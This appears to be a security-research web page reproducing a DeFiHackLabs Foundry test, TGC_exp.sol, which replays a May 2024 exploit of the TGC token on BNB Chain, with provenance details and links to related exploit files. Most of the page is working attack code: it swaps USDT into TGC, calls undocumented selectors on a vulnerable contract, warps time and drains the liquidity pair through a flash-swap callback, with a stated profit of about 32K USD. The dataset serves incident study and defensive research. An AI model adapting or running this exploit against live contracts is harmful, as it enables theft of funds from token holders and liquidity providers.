Public reproduction file
src/test/2024-05/TGC_exp.sol
Public reproduction file for dataset entry TGC.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";8// TX : https://app.blocksec.com/explorer/tx/bsc/0x12e8c24dec36a29fdd9b9d7a8b587b3abd2519089b6438c194e6e5eb357b68d89// Attacker : https://bscscan.com/address/0x36fb87c3e65ec608d37e38bd556fb6ebdb3d8a3910// Attack Contract : https://etherscan.io/address/0x3E1c5Ddd39801C1e72e5aB7E19c614fd398747f8, 11// GUY : https://x.com/ChainAegis/status/178949098658820552912// Profit : ~32K USD14contract ContractTest is Test {15 IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));16 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);17 Uni_Pair_V2 Pair = Uni_Pair_V2(0xBb33668bAe76A6394683DeEf645487e333b8fC45);18 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);19 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);20 IERC20 TGC = IERC20(0x523aA213FE806778Ffa597b6409382fFfcc12De2);21 address vulnContract = 0x32F9188d6D86Bf88dbAc3ceEe5958aDf1aa609df;23 function setUp() external {24 vm.createSelectFork("bsc", 38_623_654);25 deal(address(USDT), address(this), 200 ether);26 }28 function testExploit() external {29 emit log_named_decimal_uint("[Begin] Attacker USDT before exploit", USDT.balanceOf(address(this)), 18);30 attack();31 // emit log_named_decimal_uint("[End] Attacker TGC after exploit", TGC.balanceOf(address(this)), 18);32 swap_token_to_token(address(TGC), address(USDT), TGC.balanceOf(address(this)));34 emit log_named_decimal_uint("[End] Attacker USDT after exploit", USDT.balanceOf(address(this)), 18);35 }37 function attack() public {38 swap_token_to_token(address(USDT), address(TGC), 100 ether);39 approveAll();40 address(vulnContract).call(abi.encodeWithSelector(bytes4(0x836aefb0), 100_000_000_000_000_000_000));41 vm.warp(block.timestamp + 5 hours);42 // emit log_named_decimal_uint("Pair USDT balance", USDT.balanceOf(address(Pair)), 18);43 // emit log_named_decimal_uint("address(this) TGC balance", TGC.balanceOf(address(vuln)), TGC.decimals());44 Pair.swap(0, 29_809 ether, address(this), new bytes(0x31));45 }47 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {48 address(vulnContract).call(abi.encodeWithSelector(bytes4(0xfd5a466f)));49 USDT.transfer(address(Pair), 29_809 ether);50 TGC.transfer(address(Pair), 80 ether);51 }53 function swap_token_to_token(address a, address b, uint256 amount) internal {54 IERC20(a).approve(address(Router), amount);55 address[] memory path = new address[](2);56 path[0] = address(a);57 path[1] = address(b);58 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);59 }61 function approveAll() internal {62 TGC.approve(address(vulnContract), type(uint256).max);63 }65 function getreserves(66 uint256 stepNum67 ) public {68 console.log("Step %i", stepNum);69 (uint256 reserveIn, uint256 reserveOut,) = Pair.getReserves();70 emit log_named_decimal_uint("ReserveIn", reserveIn, 18);71 emit log_named_decimal_uint("ReserveOut", reserveOut, 18);72 }73}Analysis
Dataset entry
Public Foundry test for “TGC” (2024-05-12). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
18 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-05/Burner_exp.solSame month in the dataset · 63 lines
- src/test/2024-05/EXcommunity_exp.solSame month in the dataset · 139 lines
- src/test/2024-05/GFOX_exp.solSame month in the dataset · 69 lines
- src/test/2024-05/GPU_exp.solSame month in the dataset · 74 lines
- src/test/2024-05/Liquiditytokens_exp.solSame month in the dataset · 194 lines
- src/test/2024-05/MetaDragon_exp.solSame month in the dataset · 49 lines
- src/test/2024-05/MixedSwapRouter_exp.solSame month in the dataset · 188 lines
- src/test/2024-05/NORMIE_exp.solSame month in the dataset · 138 lines
- src/test/2024-05/OSN_exp.solSame month in the dataset · 187 lines
- src/test/2024-05/PredyFinance_exp.solSame month in the dataset · 181 lines
- src/test/2024-05/RedKeysCoin_exp.solSame month in the dataset · 76 lines
- src/test/2024-05/SATURN_exp.solSame month in the dataset · 133 lines
- src/test/2024-05/SCROLL_exp.solSame month in the dataset · 68 lines
- src/test/2024-05/Sonne_exp.solSame month in the dataset · 185 lines
- src/test/2024-05/TCH_exp.solSame month in the dataset · 277 lines
- src/test/2024-05/Tradeonorion_exp.solSame month in the dataset · 346 lines
- src/test/2024-05/TSURU_exp.solSame month in the dataset · 97 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x36fb87c3e65ec608d37e38bd556fb6ebdb3d8a39
- Attack Contract
0x3e1c5ddd39801c1e72e5ab7e19c614fd398747f8
File record
- Name
- TGC
- Path
- src/test/2024-05/TGC_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- a5cbb24eebf1238399798e8c987a3ea2c637498c
- Language
- Solidity
- Size
- 74 lines
- Date
- 2024-05-12
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-05/TGC_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob a5cbb24eebf1238399798e8c987a3ea2c637498c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.